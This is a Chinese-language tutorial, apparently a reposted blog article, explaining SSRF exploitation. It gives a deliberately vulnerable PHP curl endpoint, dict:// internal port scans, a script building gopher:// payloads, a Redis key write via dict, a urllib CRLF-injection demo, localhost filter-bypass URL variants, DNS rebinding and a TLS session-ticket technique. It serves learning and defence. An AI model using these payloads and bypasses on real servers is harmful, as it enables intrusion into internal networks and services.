本文共 5972 字,大约阅读时间需要 19 分钟。
SSRF是Server-side Request Forge的缩写,即服务端请求伪造。这个漏洞最大的特点是改变了大多数漏洞恶意请求从客户端发出的情况。通过利用具有SSRF漏洞的服务端向其他服务器获取数据这一功能,将恶意数据以SSRF服务器作为代理发出,进而攻击本地或者远程的目标。
SSRF的形成大多是因为服务端没有对目标地址做过滤和限制。协议名 | 利用方式 |
---|---|
file | 如果SSRF有回显,可利用file协议去读取任意文件的内容 |
http/https | 探测内网ip存活,Web资产的信息 |
gopher | gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell |
dict | 泄露安装软件版本信息,查看端口,操作内网redis服务等 |
接下来以一段有缺陷的PHP代码为例探究各个协议的利用以及危害。
function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch);}$url = $_GET['url'];curl($url);
读取内网服务器的文件
一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。
内网IP网段:可以通过dict协议根据响应时间和内容去扫描内网开放端口以及端口上运行的服务信息
ssrf.php?url=dict://192.168.52.131:6379 // redisssrf.php?url=dict://192.168.52.131:80 // httpssrf.php?url=dict://192.168.52.130:22 // ssh
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口。但在WWW出现后,Gopher失去了昔日的辉煌。
gopher协议格式:URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流
拦截请求:(保留必要字段,GET请求只需要保存Host即可)
GET /echo.php HTTP/1.1Host: 192.168.1.187
请求转换脚本
import urllib.parseraw_request = """GET /echo.php HTTP/1.1Host: 192.168.1.187"""tmp = urllib.parse.quote(raw_request)res = tmp.replace('%0A','%0D%0A')result = 'gopher://192.168.1.187:80/' + '_' + resprint(result)
转换后的gopher协议字段
gopher://192.168.1.187:80/_%0D%0AGET%20/echo.php%20HTTP/1.1%0D%0AHost%3A%20192.168.1.187%0D%0A
通过子网另一台电脑访问此路径
kit@ubuntu:~/Desktop$ curl gopher://192.168.1.187:80/_%0D%0AGET%20/echo.php%20HTTP/1.1%0D%0AHost%3A%20192.168.1.187%0D%0AHTTP/1.1 200 OKDate: Fri, 26 Mar 2021 06:57:35 GMTServer: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02X-Powered-By: PHP/7.3.4Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8bHello World0
可以看出请求成功,正常访问到了内网的服务
因为攻击redis等服务需要换行执行指令,而gopher协议就可以构造换行的payload进行攻击。这部分内容在下文中详细描述。php中常出现SSRF的函数又curl和get_file_content。
curl支持http、https、ftp、gopher、telnet、dict、file 和 ldap 等协议,其中我们可以利用gopher和dict来攻击内网服务。 假设服务器端开启了redis服务。则可以利用dict构造攻击。 首先把带有缺陷的ssrf.php部署在内网的web服务器中,ip为192.168.83.131。并开启redis服务,本地连接redis设置为公钥连接不需要输入密码。 访问http://192.168.83.131/ssrf.php?url=dict://127.0.0.1:6379/set%20x%20payload
查看redis,发现成功创建key 注意事项: curl_exec()默认不跟踪跳转 curl/libcurl 7.43上gopher协议存在bug(截断),7.45以上无此bug file_get_contents的gopher协议不能 UrlEncode file_get_contents关于Gopher的302跳转有bug,导致利用失败 file_get_contents() 支持php://input协议 python中常见的函数有urllib和request。但urllib不支持gopher和dict协议,所以从协议限制来看ssrf在服务端语言为python时利用的范围不大。但配合CRLF漏洞就可以通过换行来进行对redis等服务的攻击。
urllib曾爆出CVE-2019-9740、CVE-2019-9947两个漏洞,这两个漏洞都是urllib(urllib2)的CRLF漏洞,只是触发点不一样,其影响范围都在urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3之间,目前大部分服务器的python2版本都在2.7.10以下,python3都在3.6.x,这两个CRLF漏洞的影响力就非常可观了。
漏洞分析文章:
环境:python 3.6import urllib.requestimport urllib.errorif __name__ == '__main__': host = "192.168.1.101:7777?a=1 HTTP/1.1\r\nCRLF-injection: test\r\nTEST: 123" # host为可控数据 url = "http://" + host + ":8080/test/?test=a" try: info = urllib.request.urlopen(url).info() print(info) except urllib.error.URLError as e: print(e)-------------------------------------------------kit@ubuntu:~$ nc -lvvp 7777Listening on [0.0.0.0] (family 0, port 7777)Connection from 192.168.1.105 1030 received!GET /?a=1 HTTP/1.1CRLF-injection: testTEST: 123:8080/test/?test=a HTTP/1.1Accept-Encoding: identityHost: 192.168.1.101:7777User-Agent: Python-urllib/3.6Connection: close
请求包内容
当CRLF遇到SSRF就可以攻击redis之类的服务。java中常见请求类URLConnection
,HttpClient
只支持下图所示协议,所以在内网探测和读取敏感信息两个攻击点可以利用http和file协议。但无法攻击redis等内网服务。
针对上文所说这几种协议的利用不难总结出SSRF的防御机制。
利用形如www.baidu.com@www.bing.com
会跳转到bing的特性绕过针对链接必须包含特定网址的防御机制。
短网址
有些网址提供短地址生成服务,访问短地址时会跳转到原有地址。特殊的服务
互联网上有一些服务如http://xip.io,http://nip.io,http://sslip.io 。每次访问该域名总会自动跳转至子域名的地址,如http://127.0.0.1.xip.io/会自动跳转到127.0.0.1。# liunxhttp://0/ http://[0:0:0:0:0:ffff:127.0.0.1]/ http://[::]:80/ http://0.0.0.0/# windowshttp://localhost/ http://127。0。0。1/ http://①②⑦.⓪.⓪.①http://127.1/http://127.00000.00000.001/ # 与0的数量无关
dns请求服务器会以TTL为时间周期缓存域名以及对应的IP绑定关系,在TTL时间周期内不会再向上级dns服务器查询,直接返回缓存中的结果。在缓存时间结束后会删除绑定记录。
所以依靠缓存时间的特性,从服务端的角度来看会对用户输入的url进行检查和访问两个流程。当检查域名时会进行一次DNS解析,而第二次请求时如果缓存的周期已经结束则会再次进行DNS解析。
所以我们可以操纵两次解析的结果使第一次解析的结果为合法IP而请求域名时再次解析为恶意的地址。 实现方式一种是自己搭建dns服务器,也可以从获得一个测试的域名。测试的域名解析的ip会在两个之间指定ip之间产生。所以需要不断尝试以达到第一次解析为符合条件ip地址,而第二次为内网ip。2020年black hat(us)中有一个议题利用TLS + IP rebinding + SSRF来攻击常见服务。首先考虑正常情况下,由于http协议的局限性,只有与CRLF漏洞配合才能在http报文中注入payload进行攻击。而这种新型的攻击方式不再依赖请求中注入payload,而采用https中的会话恢复机制sessionID来储存payload,从而进行攻击。
客户端和服务器TLS握手时,需要协商会话密钥,数字签名验证,消息验证码MAC等。每次重新握手都会消耗大量的时间。
于是TLS/SSL提供了会话恢复的方式,允许连接结束时,客户端可以通过上次连接储存的Session ID或Session ticket来直接恢复对话(服务器储存会话信息并以SessionID标识)。 而session ticket可提供65k的空间,足以容纳payload。
整体流程
参考文章:
转载地址:http://zdyzi.baihongyu.com/